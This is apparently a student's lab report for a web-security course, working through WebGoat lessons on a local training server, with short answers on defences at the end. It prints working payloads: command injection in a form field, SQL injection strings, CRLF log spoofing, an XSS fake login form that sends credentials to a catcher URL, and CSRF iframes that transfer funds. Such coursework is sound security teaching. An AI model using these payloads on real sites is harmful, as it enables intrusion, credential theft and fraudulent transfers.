2018-2019-2 20165325《网络对抗技术》Exp9 Web安全基础
实验概要
安装Webgoat
SQL注入攻击
XSS攻击
CSRF攻击
安装Webgoat
参考其他同学的安装流程,下载安装包:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1
执行命令:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
运行Webgoat
如图信息: Starting ProtocolHandler ["http-bio-8080"]
表示启动成功。
在浏览器中输入http://localhost:8080/WebGoat
使用下方的admin账户进行登录:
登录后如图所示。
SQL注入攻击
1、进入网页点击Injection Flaws- Command Injection
右键inspect Element,找到一个标签,注入代码:"& netstat -an & ipconfig"
在点击view提交时候看到网页发生了变化:
注入的指令被执行,并且我们看到了效果,如上图所示。
2、数字型SQL注入(Numeric SQL Injection)
在左侧切换。
能看到,正常情况下点击go只是查询到一个这么一个信息,目标是注入之后能看到数据库中所有的信息。
这样的方法可能用于在访问网站时,非法地访问其他的数据。
成功以后是这样的:能看见所有的数据
注:在这里我发现一个问题,实际上我一开始是失败的,提示是这样:
可以看到失败了。
原因是之前成功了一次,由于之前我的环境有问题,我拷贝的是别人的虚拟机来完成本次实验。
可以看见上面的语句,当我们成功一次之后,可以看见网站上面显示:
Bet you can't do it again! This lesson has detected your successful attack and has now switched to a defensive mode.
emmmm他开启了防御模式。
我试着找这前后的html哪里不一样,我没发现明显的区别,可能是我找的不够仔细,但是我觉得,他应该是新加入了一个js来实现这个功能吧?(但是提交表单的地方没什么不一样的好像)
那么如果想再来一次就点击一下界面上面的restart lesson。
3、Log Spoofing
这提示说:Your goal is to make it like a username "admin" has succeeded into logging in
???
make it like ???
在输入框输入20165325%0d%0aLogin Succeeded !admin
如图所示,那么我想问这有什么用呢?
PS:回车0D%和换行符%0A
4、String SQL Injection
输入' or 1=1 --
成功了,(这样就成功了很明显他这个防护惨不忍睹)
然后他告诉我又开启防护模式了,应该和之前一样的。
XSS攻击
1、点击进入Cross-Site Scripting (XSS)
-
Insert html to that requests credentials
-
Add javascript to actually collect the credentials
-
Post the credentials to http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
进去之后先看要求,首先是要求我们写一个登录认证界面,然后能用js显示并且传给后台。
相关的代码:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
代码如上,首次提交时会产生下面的登录框,如果有人不小心输入用户名密码并且提交,相关的信息会被js显示出来,当然js做的可怕一点可以直接记录下来用户名密码就行。
2、Stored XSS Attacks
输入<script>alert("20165325 attack succeed!");</script>
相对于来说比较简单的。
CSRF攻击
1、Cross Site Request Forgery
查看右边的表格src为322,menu为900
攻击成功之后会使用用户不可见的连接发送一个url,这里的情景是用别人的账号转走钱:
url:http://localhost:8080/WebGoat/attack?Screen=322&menu=900&transferFunds=5000
2、CSRF Prompt By-Pass
输入
<iframe src="attack?Screen=324&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=324&menu=900&transferFunds=CONFIRM"> </iframe>
效果如下:
问题回答
SQL注入攻击原理,如何防御
检查用户输入,避免特殊字符。写语句更复杂,数据库设置操作权限。
XSS攻击的原理,如何防御
核心应该还是检查输入,检查用户输入的内容要严格把关。
CSRF攻击原理,如何防御
cookie的管理应该严格,控制网站对cookie的使用权限,严格设置cookie的域。